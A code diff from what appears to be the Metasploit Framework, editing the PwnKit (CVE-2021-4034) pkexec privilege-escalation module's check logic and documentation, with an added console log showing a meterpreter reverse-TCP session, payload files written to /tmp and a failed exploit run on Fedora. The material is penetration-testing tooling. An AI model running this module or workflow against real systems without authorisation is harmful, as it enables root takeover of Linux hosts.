diff --git a/documentation/modules/exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.md b/documentation/modules/exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.md index 79b5b6d189..d22646ba81 100644 --- a/documentation/modules/exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.md +++ b/documentation/modules/exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.md @@ -1,7 +1,7 @@ ## Vulnerable Application The `check` method uses the exploit without a payload. The patched version -will exit without any arguments and give the help menu. Unpatched versiions +will exit without any arguments and give the help menu. Unpatched versions give the error that the shell was not in the shells folder. Last Vulnerable Ubuntu packages: @@ -60,8 +60,70 @@ Source: https://www.ramanean.com/script-to-detect-polkit-vulnerability-in-redhat ### Fedora: -Fedora should be vulnerable, and the check will return showing that it is vulnerable, but -the exploit will fail. I don't know why. +Fedora should be vulnerable, and the pkexec binary will respond like it is vulnerable, but +the exploit will fail. I don't know why, but it still fails with SELinux disabled or using the +original PoCs that compiled a binary on target. The check method just bails if it sees Fedora. + +``` +msf6 payload(linux/x64/meterpreter/reverse_tcp) > sessions -i -1 +[*] Starting interaction with 1... + +meterpreter > sysinfo +Computer : localhost.localdomain +OS : Fedora 33 (Linux 5.8.15-301.fc33.x86_64) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > getuid +Server username: msfuser +meterpreter > shell +Process 2396 created. +Channel 5 created. +sestatus +SELinux status: disabled +exit +meterpreter > background +[*] Backgrounding session 1... +msf6 payload(linux/x64/meterpreter/reverse_tcp) > use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec +[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp +msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set session 1 +session => 1 +msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set verbose true +verbose => true +msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set auto +set autocheck set autorunscript set autounhookprocess +set autoloadstdapi set autosysteminfo set autoverifysessiontimeout +msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set autoCheck false +autoCheck => false +msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > check + +[!] SESSION may not be compatible with this module: +[!] * missing Meterpreter features: stdapi_railgun_api +[*] Checking for pkexec +[*] Checking for /usr/bin/pkexec +[*] Found pkexec here: /usr/bin/pkexec +[*] Found pkexec version 0.117 +[*] The target is not exploitable. Fedora is not supported +msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run + +[!] SESSION may not be compatible with this module: +[!] * missing Meterpreter features: stdapi_railgun_api +[*] Started reverse TCP handler on 10.5.135.101:4444 +[!] AutoCheck is disabled, proceeding with exploitation +[*] Checking for pkexec +[*] Checking for /usr/bin/pkexec +[*] Found pkexec here: /usr/bin/pkexec +[*] Creating directory /tmp/.wqogdpzub +[*] /tmp/.wqogdpzub created +[*] Writing '/tmp/.wqogdpzub/kfmlrhrqi/kfmlrhrqi.so' (548 bytes) ... +[!] Verify cleanup of /tmp/.wqogdpzub +[*] Running python /tmp/.wqogdpzub/.skihoukdb /usr/bin/pkexec /tmp/.wqogdpzub/kfmlrhrqi/kfmlrhrqi.so kfmlrhrqi jdtnqzvqn +[*] GLib: Cannot convert message: Could not open converter from “UTF-8” to “jdtnqzvqn” +The value for the SHELL variable was not found the /etc/shells file + +This incident has been reported. +[*] Exploit completed, but no session was created. +``` ### RedHat: Untested on Redhat, but I assume similar to Fedora. @@ -159,7 +221,7 @@ as serving as a location to store the various files and directories created by t The default value is `/tmp` ### PKEXEC_PATH -This indicates the location of the pkexec binary. Normally, the module can find the binary without help. +This indicates the location of the `pkexec` binary. Normally, the module can find the it without help. It defaults to nil. ## Advanced Options @@ -168,7 +230,7 @@ It defaults to nil. This indicates the starting directory for the new root-enabled session. The module deletes the working directory out from under the running payload, so the current working directory for the new session will not exist, and that can result in odd errors, so we just change to a directory that does exist before user interaction. -It defaults to '/' +It defaults to `/` ## Scenarios diff --git a/lib/msf/core/exploit/exe.rb b/lib/msf/core/exploit/exe.rb index a5e60911af..5a7ccedb80 100644 --- a/lib/msf/core/exploit/exe.rb +++ b/lib/msf/core/exploit/exe.rb @@ -135,6 +135,7 @@ module Exploit::EXE dll = Msf::Util::EXE.to_win32pe_dll(framework, pl, opts) end end + exe_post_generation(opts) dll end diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 6c73bd2e08..dbe1809068 100644 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -1139,7 +1139,6 @@ require 'digest/sha1' to_exe_elf(framework, opts, "template_aarch64_linux_dll.bin", code) end - # Create a 64-bit Linux ELF_DYN containing the payload provided in +code+ # # @param framework [Msf::Framework] diff --git a/modules/exploits/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.rb b/modules/exploits/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.rb index 429d2146ce..b0e22b00c1 100644 --- a/modules/exploits/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.rb +++ b/modules/exploits/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.rb @@ -121,15 +121,14 @@ class MetasploitModule < Msf::Exploit::Local pkexec_path = find_pkexec if pkexec_path.empty? return CheckCode::Safe('The pkexec binary was not found; try populating PkexecPath') if pkexec_path.nil? + # we don't use the reported version, but it can help with troubleshooting version_output = cmd_exec("#{pkexec_path} --version") version_array = version_output.split(' ') - if version_array.length < 3 - return CheckCode::Safe("unable to determine pkexec version from string: #{version_output}") + if version_array.length > 2 + pkexec_version = Rex::Version.new(version_array[2]) + vprint_status("Found pkexec version #{pkexec_version}") end - pkexec_version = Rex::Version.new(version_array[2]) - vprint_status("Found pkexec version #{pkexec_version}") - # Is is protected with a patch? return CheckCode::Safe('The pkexec binary setuid is not set') unless setuid?(pkexec_path) # Grab the package version if we can to help troubleshoot @@ -162,6 +161,7 @@ class MetasploitModule < Msf::Exploit::Local return CheckCode::Safe('Fedora is not supported') end + # run the exploit in check mode if everything looks right if run_exploit(true) return CheckCode::Vulnerable end